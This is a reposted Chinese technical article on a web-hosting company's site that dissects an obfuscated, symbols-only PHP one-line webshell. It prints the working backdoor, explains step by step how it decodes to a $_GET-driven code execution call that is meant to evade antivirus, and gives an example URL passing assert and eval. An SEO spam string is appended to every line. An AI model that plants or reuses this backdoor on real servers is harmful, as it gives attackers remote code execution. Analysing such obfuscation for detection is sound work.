加入收藏 | 设为首页 | 会员中心 | 我要投稿 | 在线留言 | RSS
成网科技业务包括域名空间企业网站制作
 
国际域名com/net/org仅售80元/年
1G独立空间(PHP+MYSQL)仅售600元/年
您当前的位置:首页 > 技术交流 > 网络安全 > 漏洞分析

剖析PHP纯符号一句话webshell的代码

时间:2014-08-02 12:05:25  来源:互联网  作者:佚名  点击:


复制代码代码如下:fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
<?phpfv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$_="";fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$_[+""]='';fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$_="$_"."";fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
${'_'.$_}['_'](${'_'.$_}['__']);fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
?>fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

以上是网上流传的一段由纯符号组成的一句话后门代码,这种代码混淆方法主要用以webshell免杀。下文将详细剖析这段看似复杂的PHP变形代码。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

第一行:$_="";fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
定义一个以下划线作为命名的字符变量:$_,赋值为空。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
此行实际上不影响代码执行效果,仅增加混淆效果。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

第二行:$_[+""]='';fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
定义一个$_数组元素,其key为+"",赋值为空。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
众所周知,PHP是个弱类型语言,也就是说PHP并不严格验证变量类型,所以这里+""作为数组了key,其值等同于0,所以此行等同于$_[0]='';fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
此时$_被定义为数组,覆盖上一行的定义。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

第三行:$_="$_"."";fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
将变量$_强制转换为字符串,因为此时$_类型为数组,强制转换后的结果为字符串"Array"(string(5) "Array" ),而非数组元素的值。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

第四行:$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
这一行涉及到计算机二进制的“或运算”和“异或运算”,这里先简单介绍下这两种运算规则:fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
1、或运算,符号为 | fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
运算规则:0|0=0; 0|1=1; 1|0=1; 1|1=1;fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
简单来说,或运算前后两个对象 只要有 一个为1,其值就为1,否则为0fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
2、异或运算,符号为 ^fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
运算规则:0^0=0; 0^1=1; 1^0=1; 1^1=0;fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
简单来说,异或运算可以看成是判断前后两个对象是否相等的,如果两个对象不同(即为异),则值为1,否则为0fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

再回到代码上来,此行代码分三个部分($_[+""]|"")、($_[+""]|"")、($_[+""]^""),用连接符“.”号相连,每个部分都是其中两个对象进行"或运算"或"异或运算"。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
先看第一部分($_[+""]|""),很明显,这里是$_[+""]和""这两个对象进行“或运算”。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
第一个对象$_[+""](也就是$_[0]),要注意其值已经不是第二行定义的空值,因为在第三行时$_变量已经被覆盖定义为字符串“Array”。这里涉及到另一个php知识细节:对于 字符串[数字] 结构,字符串将会当成数组处理,返回以后面数字作为索引的元素值,例如:$x='abcd9.com',则$x[4]='9'。可见,$_[+""]值为字符串“Array”第一字符“A”。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
第二个对象""是一个特殊字符(注意:这不是短横,虽然长得很像,实际上是个特殊字符,此类符号在某些环境下无法识别而作为乱码处理。后面两部分中的特殊字符也如此。),暂不管为什么此处是这个特殊字符而不是其他字符,先在此行下增加一行测试代码显示这一行定义的$_值:fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
var_dump($_);fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
测试结果为:string(3) "GET" ,可见,($_[+""]|"").($_[+""]|"").($_[+""]^"")值"GET",显而易见,($_[+""]|"")值为“G”,($_[+""]|"")值为“E”,($_[+""]^"")值为“T”。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
再先看第一部分($_[+""]|"")值为"G",上面已得到$_[+""]值为“A”,即("A"|"")="G",下面分析下此等式:fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
“A”二进制:0100 0001fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
“G”二进制:0100 0111fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
0100 0001 | x = 0100 0111fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
通过或运算规则推导并参考ASCII码对照表,x值可能有以下几个结果:fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

复制代码代码如下:fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
01000110 //ASCII可显示字符:Ffv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
01000111 //ASCII可显示字符:Gfv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
00000110 //ASCII控制字符:ACK,代表“确认回应”fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
00000111 //ASCII控制字符:BEL,代表“响铃”fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
代码中的""即为ASCII控制字符:ACK。其实另外三个字符也适用,为了增加混淆效果故采用这种特殊字符。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
搞清楚第一部分,第二、第三部分也同理可推。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

第五行:${'_'.$_}['_'](${'_'.$_}['__']);fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
此行可通过小括号分成两部分:${'_'.$_}['_'] 和 ${'_'.$_}['__'],两部分结构均是${A}['B'],区别仅是后面B是一条下划线还是两条小划线。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
先看相同部分${'_'.$_},这里涉及到大括号{}在php中的特性一个:在变量间接引用中进行定界,如"$abc"为变量$abc,而"${a}bc"为变量$a连接字符"bc",了解了这一特性,而第四行对$_赋值为“GET”,可见${'_'.$_}即为变量$_GET,加上后面['_'],则为$_GET['_'],接收"get"的表单中的变量为'_'的值。小括号里的部分同理。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
根据上面叙述,第五行代码还原后是:$_GET['_']($_GET['__']);fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

至此,这段混淆代码已原形毕露,一句话后门代码原形为:$_GET['_']($_GET['__']),传递特殊参数构建webshell链接网址(例如:http://www.test.com/webshell.php?_=assert&__=eval($_POST['a'])),通过一句话木马客户端即可连接此URL。fv4成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

成网科技 www.it28.com竭诚为您服务!
开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设_成网科技

更多
 


来顶一下
返回首页
返回首页
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
相关文章
    无相关信息
栏目更新
栏目热门